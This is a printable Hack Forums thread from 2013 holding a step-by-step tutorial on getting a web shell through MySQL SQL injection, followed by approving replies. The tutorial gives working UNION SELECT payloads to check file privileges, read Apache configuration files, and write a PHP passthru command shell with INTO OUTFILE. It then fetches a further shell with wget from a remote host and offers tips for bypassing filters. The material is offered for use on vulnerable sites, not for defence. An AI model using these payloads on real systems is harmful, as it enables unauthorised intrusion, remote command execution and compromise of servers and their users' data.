Hack Forums
Tutorial | Shelling via SQL Injection - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: Tutorial | Shelling via SQL Injection (/showthread.php?tid=3373618)

Tutorial | Shelling via SQL Injection - LevelUp - Apr 1, 2013

Alright, so this tutorial assumes that you've found an SQLi vulnerable site and have managed to get to the stage of finding the vulnerable columns.

Let's grab the current username
Code
UNION SELECT null,null,null,user(),null --

So it's time to check our privileges, feel free to null the columns if you wish. Replace one of the vulnerable columns with file_priv and replace 'username' with the hex of whatever was returned by user() in our last step
Code
UNION SELECT null,null,null,file_priv,null from mysql.user where user = 0x757365726e616d65 --

If returned Y then it means we have root privileges. Let's have a quick test of load_file /w INTO OUTFILE using the mysql data directory. Grab the directory via @@datadir
Code
UNION SELECT null,null,null,@@datadir,null --

Code
UNION SELECT null,null,null,'my name is tim',null INTO OUTFILE '/path/returned/by/datadir/tim.txt'--

Code
UNION SELECT null,null,null,load_file('/path/returned/by/datadir/tim.txt'),null --

"my name is tim" should now be shown on the page, note that you made need to use hex() around load_file().

Now you'll need to grab an FPD rather than the mysql data dir if you want to get a shell up. You can attempt to get it via javascript injection /w null cookie
Code
javascript:void(document.cookie="PHPSESSID=");
or arrays
Code
/article.php?id[]=5
etc.

If you couldn't get that, then read this part, if you managed then skip ahead.

So you didn't get an FPD, you may be able to pull of this method.
Check the value returned by version() or @@version. Let's say it returned
Code
5.1.66-0+squeeze1-log

So it's running Debian, feel free to use load_file in conjuction to the default apache config file for deb
Code
UNION SELECT null,null,null,load_file('/etc/apache2/apache2.conf'),null --

Look for a document root defined by #, if it's not there, don't panic as we can look in the vhost config for the default document root.
Code
UNION SELECT null,null,null,load_file('/etc/apache2/sites-available/default'),null --

And you should now have the full path.

All that's left is our shell
Code
UNION SELECT null,null,null,'<?passthru($_GET[\'cmd\']);?>',null INTO OUTFILE '/full/path/bro/shell.php'--

*note: passthru() may be substituted by proc_open, shell_exec etc.

Now navigate to your shell and wget that shizz
Code
http://www.site.come/shell.php?cmd=wget http://www.site.com/shellz/priv8shell.txt -o priv8shell.php

*note: wget may be substituted with curl etc.
*note: group_concat(0x0a,grantee,0x3a,privilege_type,0x3a,is_grantable) from information_schema.user_privileges is best used instead of mysql.user for (>5)
*note: Try bypass filter of <? ?> with MYSQL_CHAR()

* - Processor - Apr 1, 2013

Do you need wget installed on windows machines?

* - LevelUp - Apr 1, 2013

(Apr 1, 2013 12:11 PM)Processor Wrote:  Do you need wget installed on windows machines?

Yes to use the wget command the target machine must have it installed. Then again if it was a .asp you're most likely going to be dealing with MSSQL or MSAccess rather than MySQL.

* - S.a.b.e.r - Apr 1, 2013

The only problem with INTO OUTFILE is that it requires root privs, which is fairly rare. Great tutorial; better than most I've seen on it.

* - LevelUp - Apr 1, 2013

(Apr 1, 2013 12:16 PM)S.a.b.e.r Wrote:  The only problem with INTO OUTFILE is that it requires root privs, which is fairly rare. Great tutorial; better than most I've seen on it.

I did mention at the top that we have to check for root privileges.

(Apr 1, 2013 12:01 PM)h3xh0ax Wrote:  So it's time to check our privileges, feel free to null the columns if you wish. Replace one of the vulnerable columns with file_priv and replace 'username' with the hex of whatever was returned by user() in our last step
Code
UNION SELECT null,null,null,file_priv,null from mysql.user where user = 0x757365726e616d65 --

If returned Y then it means we have root privileges.


* - S.a.b.e.r - Apr 1, 2013

(Apr 1, 2013 12:17 PM)h3xh0ax Wrote:  I did mention at the top that we have to check for root privileges.

Not saying you didn't; just reiterating that this method would be much more effective if that wasn't the case.

* - LevelUp - Apr 1, 2013

(Apr 1, 2013 12:21 PM)S.a.b.e.r Wrote:  Not saying you didn't; just reiterating that this method would be much more effective if that wasn't the case.

Indeed, read and write privileges can be a whore.

* - Mimix - Apr 1, 2013

Love this tutorial, and simple writing! no thread gfx shit haha

* - cyber uryuu - Apr 1, 2013

thanks for sharing this nice tutorial

* - soeasy - Apr 3, 2013

Quote: Grab the directory via @@datadir

Quote:UNION SELECT null,null,null,'my name is tim',null INTO OUTFILE '/path/returned/by/datadir/tim.txt'--

What's the point of finding the path of Mysql data directory.It's totally useless

* - LevelUp - Apr 4, 2013

(Apr 3, 2013 02:24 PM)soeasy Wrote:  What's the point of finding the path of Mysql data directory.It's totally useless

Are you not reading? It's to test if load_file is useable.

file_priv won't always return a value.

* - Neca - Apr 4, 2013

Great tutorial, thanks for posting it.

* - xxlabellexx - Apr 4, 2013

Bookmarked for later use! <3 :D Is there any way to save this thread on my account here?

* - grifmajster - Apr 4, 2013

Thanks, works pretty nice. I can't rep you, but I would. Thanks!

* - adnanalimk - Nov 11, 2013

very nice tutorial bro.. Thanks.... keep it up